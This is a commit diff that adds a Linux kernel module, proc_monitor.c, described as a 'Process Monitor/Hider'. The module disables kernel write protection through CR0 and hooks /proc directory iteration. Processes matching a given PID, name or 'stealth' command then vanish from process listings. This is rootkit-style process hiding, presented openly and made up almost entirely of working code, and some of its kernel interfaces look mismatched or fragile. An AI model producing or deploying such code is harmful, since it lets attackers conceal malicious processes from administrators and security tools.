aboutsummaryrefslogtreecommitdiffstats
path: root/proc_monitor.c
diff options
context:
space:
mode:
Diffstat (limited to 'proc_monitor.c')
-rw-r--r--proc_monitor.c310
1 files changed, 310 insertions, 0 deletions
diff --git a/proc_monitor.c b/proc_monitor.c
new file mode 100644
index 0000000..ad45f72
--- /dev/null
+++ b/proc_monitor.c
@@ -0,0 +1,310 @@
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <linux/init.h>
+#include <linux/sched.h>
+#include <linux/sched/signal.h>
+#include <linux/proc_fs.h>
+#include <linux/seq_file.h>
+#include <linux/fs.h>
+#include <linux/version.h>
+#include <linux/cred.h>
+#include <linux/namei.h>
+#include <linux/uaccess.h>
+#include <linux/string.h>
+#include <linux/dirent.h>
+
+MODULE_LICENSE("GPL");
+MODULE_AUTHOR("Biswa Kalyan Bhuyan");
+MODULE_DESCRIPTION("Process Monitor/Hider");
+MODULE_VERSION("0.3");
+
+/* Module parameters */
+static unsigned int monitor_pid = 0;
+module_param(monitor_pid, uint, 0644);
+MODULE_PARM_DESC(monitor_pid, "Process ID to monitor");
+
+static char* hide_name = NULL;
+module_param(hide_name, charp, 0644);
+MODULE_PARM_DESC(hide_name, "Process name to hide");
+
+static unsigned int report_children = 0;
+module_param(report_children, uint, 0644);
+MODULE_PARM_DESC(report_children, "Set to 1 to report on child processes");
+
+// Stealth flag - for hiding commands
+static char* stealth_cmd = NULL;
+module_param(stealth_cmd, charp, 0644);
+MODULE_PARM_DESC(stealth_cmd, "Command to hide from process listings");
+
+/* Data structures */
+struct process_info {
+ pid_t pid;
+ pid_t ppid;
+ char name[TASK_COMM_LEN];
+ uid_t uid;
+ gid_t gid;
+ unsigned long start_time;
+ unsigned int num_threads;
+ unsigned int num_children;
+};
+
+/* Hook-related variables */
+static struct file_operations *proc_fops;
+static struct file_operations *root_fops;
+static filldir_t orig_proc_filldir;
+static int (*orig_iterate_shared)(struct file *, struct dir_context *);
+static struct path proc_path;
+
+/* Function to gather detailed process information */
+static void gather_process_info(struct task_struct *task, struct process_info *info)
+{
+ if (!task || !info)
+ return;
+
+ info->pid = task->pid;
+ info->ppid = task->parent ? task->parent->pid : 0;
+ strncpy(info->name, task->comm, TASK_COMM_LEN);
+ info->uid = task->cred->uid.val;
+ info->gid = task->cred->gid.val;
+ info->start_time = task->start_time;
+ info->num_threads = task->signal ? task->signal->nr_threads : 0;
+
+ // Count children
+ struct task_struct *child;
+ info->num_children = 0;
+ list_for_each_entry(child, &task->children, sibling) {
+ info->num_children++;
+ }
+}
+
+/* Report on a single process */
+static void report_process(struct task_struct *task)
+{
+ struct process_info info;
+ gather_process_info(task, &info);
+
+ printk(KERN_INFO "ProcMon: ----- Process %d (%s) -----\n", info.pid, info.name);
+ printk(KERN_INFO "ProcMon: Parent PID: %d\n", info.ppid);
+ printk(KERN_INFO "ProcMon: User/Group: %u/%u\n", info.uid, info.gid);
+ printk(KERN_INFO "ProcMon: Threads: %u\n", info.num_threads);
+ printk(KERN_INFO "ProcMon: Children: %u\n", info.num_children);
+
+ if (report_children && info.num_children > 0) {
+ printk(KERN_INFO "ProcMon: Child processes:\n");
+ struct task_struct *child;
+ list_for_each_entry(child, &task->children, sibling) {
+ printk(KERN_INFO "ProcMon: - PID %d (%s)\n",
+ child->pid, child->comm);
+ }
+ }
+}
+
+/* Function to find process by PID */
+static struct task_struct *find_process_by_pid(unsigned int pid)
+{
+ struct task_struct *task;
+
+ for_each_process(task) {
+ if (task->pid == pid)
+ return task;
+ }
+ return NULL;
+}
+
+/* Function to scan for processes with a given name */
+static void scan_for_process_name(const char *name)
+{
+ struct task_struct *task;
+ int count = 0;
+
+ printk(KERN_INFO "ProcMon: Scanning for processes named '%s'\n", name);
+
+ for_each_process(task) {
+ if (strncmp(task->comm, name, TASK_COMM_LEN) == 0) {
+ printk(KERN_INFO "ProcMon: Found matching process: PID %d\n", task->pid);
+ report_process(task);
+ count++;
+ }
+ }
+
+ printk(KERN_INFO "ProcMon: Found %d processes named '%s'\n", count, name);
+}
+
+/* Function to identify all processes that would be hidden in stealth mode */
+static void simulate_stealth_mode(const char *cmd_name)
+{
+ struct task_struct *task;
+ int count = 0;
+
+ printk(KERN_INFO "ProcMon: [STEALTH] Identifying processes to hide\n");
+
+ // Find all processes matching our stealth_cmd
+ for_each_process(task) {
+ if (strncmp(task->comm, cmd_name, TASK_COMM_LEN) == 0) {
+ printk(KERN_INFO "ProcMon: [STEALTH] Will hide PID %d (%s)\n",
+ task->pid, task->comm);
+ count++;
+ }
+ }
+
+ printk(KERN_INFO "ProcMon: [STEALTH] Found %d '%s' processes to hide\n",
+ count, cmd_name);
+}
+
+/* Should we hide this process? */
+static int should_hide_proc(const char *name)
+{
+ struct task_struct *task;
+
+ // First check if it's a PID directory
+ long pid;
+ if (kstrtol(name, 10, &pid) == 0) {
+ // It's a numeric directory, so it could be a PID
+ task = find_process_by_pid((unsigned int)pid);
+ if (task) {
+ // Check if this is our monitored PID
+ if (monitor_pid > 0 && task->pid == monitor_pid) {
+ return 1; // Hide the monitored PID
+ }
+
+ // Check if process name matches hide_name
+ if (hide_name && strlen(hide_name) > 0 &&
+ strncmp(task->comm, hide_name, TASK_COMM_LEN) == 0) {
+ return 1; // Hide processes with matching name
+ }
+
+ // Check if process name matches stealth_cmd
+ if (stealth_cmd && strlen(stealth_cmd) > 0 &&
+ strncmp(task->comm, stealth_cmd, TASK_COMM_LEN) == 0) {
+ return 1; // Hide processes with matching command
+ }
+ }
+ }
+
+ return 0; // Don't hide this one
+}
+
+/* Custom filldir function to filter directory entries */
+static int proc_filldir(struct dir_context *ctx, const char *name, int namlen,
+ loff_t offset, u64 ino, unsigned int d_type)
+{
+ // Check if we should hide this entry
+ if (should_hide_proc(name)) {
+ return 0; // Skip this entry
+ }
+
+ // Otherwise, call the original filldir
+ return orig_proc_filldir(ctx, name, namlen, offset, ino, d_type);
+}
+
+/* Custom iterate_shared function to hook directory listing */
+static int proc_iterate_shared(struct file *file, struct dir_context *ctx)
+{
+ // Replace the filldir function with our custom one
+ orig_proc_filldir = ctx->actor;
+ ctx->actor = (filldir_t)proc_filldir;
+
+ // Call the original iterate_shared with our modified context
+ return orig_iterate_shared(file, ctx);
+}
+
+/* Function to set up hooking of /proc directory */
+static void hook_proc(void)
+{
+ // Get the path to /proc
+ if (kern_path("/proc", 0, &proc_path)) {
+ printk(KERN_ERR "ProcMon: Failed to get /proc path\n");
+ return;
+ }
+
+ // Get the file operations for /proc
+ proc_fops = (struct file_operations *)proc_path.dentry->d_inode->i_fop;
+
+ // Save the original iterate_shared function
+ orig_iterate_shared = proc_fops->iterate_shared;
+
+ // Replace with our custom function
+ // Need to make the page writable first
+ unsigned long *p = (unsigned long *)&proc_fops->iterate_shared;
+
+ write_cr0(read_cr0() & ~0x10000); // Disable write protection
+ proc_fops->iterate_shared = proc_iterate_shared;
+ write_cr0(read_cr0() | 0x10000); // Enable write protection
+
+ printk(KERN_INFO "ProcMon: Successfully hooked /proc directory operations\n");
+}
+
+/* Function to unhook /proc directory */
+static void unhook_proc(void)
+{
+ // Restore the original iterate_shared function
+ if (proc_fops && orig_iterate_shared) {
+ write_cr0(read_cr0() & ~0x10000); // Disable write protection
+ proc_fops->iterate_shared = orig_iterate_shared;
+ write_cr0(read_cr0() | 0x10000); // Enable write protection
+
+ printk(KERN_INFO "ProcMon: Restored original /proc directory operations\n");
+ }
+
+ // Release the path
+ path_put(&proc_path);
+}
+
+static int __init proc_monitor_init(void)
+{
+ printk(KERN_INFO "ProcMon: Module loaded\n");
+
+ // Monitor specific PID if provided
+ if (monitor_pid > 0) {
+ struct task_struct *task = find_process_by_pid(monitor_pid);
+ if (task) {
+ printk(KERN_INFO "ProcMon: Found target process %d (%s) to hide\n",
+ task->pid, task->comm);
+ report_process(task);
+ } else {
+ printk(KERN_INFO "ProcMon: Process with PID %u not found\n", monitor_pid);
+ }
+ }
+
+ // Scan for processes by name if provided
+ if (hide_name != NULL && strlen(hide_name) > 0) {
+ scan_for_process_name(hide_name);
+ }
+
+ // Set up stealth mode if requested
+ if (stealth_cmd != NULL && strlen(stealth_cmd) > 0) {
+ printk(KERN_INFO "ProcMon: [STEALTH] Activating stealth mode for '%s' commands\n", stealth_cmd);
+ simulate_stealth_mode(stealth_cmd);
+ }
+
+ // Implement the actual hooking
+ hook_proc();
+
+ printk(KERN_INFO "ProcMon: Process Hiding Starts\n");
+
+ printk(KERN_INFO "ProcMon: Module initialization complete\n");
+ return 0;
+}
+
+static void __exit proc_monitor_exit(void)
+{
+ printk(KERN_INFO "ProcMon: Module unloaded\n");
+
+ // Unhook everything
+ unhook_proc();
+
+ if (monitor_pid > 0) {
+ printk(KERN_INFO "ProcMon: Stopped hiding PID %u\n", monitor_pid);
+ }
+
+ if (hide_name != NULL && strlen(hide_name) > 0) {
+ printk(KERN_INFO "ProcMon: No longer hiding '%s' processes\n", hide_name);
+ }
+
+ if (stealth_cmd != NULL && strlen(stealth_cmd) > 0) {
+ printk(KERN_INFO "ProcMon: [STEALTH] Deactivated stealth mode for '%s'\n", stealth_cmd);
+ }
+}
+
+module_init(proc_monitor_init);
+module_exit(proc_monitor_exit);